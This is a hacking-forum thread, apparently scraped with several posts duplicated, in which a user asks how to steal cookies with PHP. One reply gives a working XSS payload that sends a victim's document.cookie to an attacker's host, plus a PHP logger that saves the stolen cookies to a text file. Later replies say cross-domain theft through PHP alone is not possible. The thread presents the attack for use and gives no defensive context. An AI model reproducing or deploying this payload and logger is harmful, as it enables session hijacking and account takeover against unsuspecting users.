[fckN]

Is there way to create PHP sniffer to steal cookies ??

[The Alchemist]

Once you find a site vulnerable for XSS, and upload your cookie catcher script(which I've given, look down) in your web hosting account, submit this javascript in the vulnerable field :

Code:

<script>document.location="http://www.host.com/mysite/CookieLogger.php?cookie=" + document.cookie;</script>

Now, the CookieLogger.php should be :

PHP Code:

<?php
if(isset($_GET['cookie']))
{
    $handler = fopen("cookies.txt","a");
    fwrite($handler, $_GET['cookie']);
    fclose($handler);
}
?>

The cookies get stored in a file named cookies.txt in the same directory where CookieLogger.php is uploaded.
What you're doing is, you get the cookies using the javascript and with the PHP code, you store them in a .txt file.

I hope this helps.

[fckN]

Ahhh i know for that, but i dont want this. I mean PHP sniffer like p h i s h i n g when you click on link to steal cookies

btw. thank you !

[fckN]

Ahhh i know for that, but i dont want this. I mean PHP sniffer like p h i s h i n g when you click on link to steal cookies

btw. thank you !

[1llusion]

As far as I know, you can't. Cookies are only available to the domain they are set to. So technically, you can set a cookie to be available to a completely different domain, but, why the hell would you

Feel free to look at: http://php.net/manual/en/features.cookies.php for more information on how PHP handles cookies

[1llusion]

As far as I know, you can't. Cookies are only available to the domain they are set to. So technically, you can set a cookie to be available to a completely different domain, but, why the hell would you

Feel free to look at: http://php.net/manual/en/features.cookies.php for more information on how PHP handles cookies

[The Alchemist]

Ahhh i know for that, but i dont want this. I mean PHP sniffer like p h i s h i n g when you click on link to steal cookies

btw. thank you !

Oh. As far as I know, thats not possible.
In my post above, you see, we get the cookies from that particular server in which we execute the javascript. Otherwise why would we do that?
Suppose you make a PHP code to steal cookies(assume), you wont be able to execute it in that particular slave server and PHP is server sided.

So, I guess its not possible.

[The Alchemist]

Ahhh i know for that, but i dont want this. I mean PHP sniffer like p h i s h i n g when you click on link to steal cookies

btw. thank you !

Oh. As far as I know, thats not possible.
In my post above, you see, we get the cookies from that particular server in which we execute the javascript. Otherwise why would we do that?
Suppose you make a PHP code to steal cookies(assume), you wont be able to execute it in that particular slave server and PHP is server sided.

So, I guess its not possible.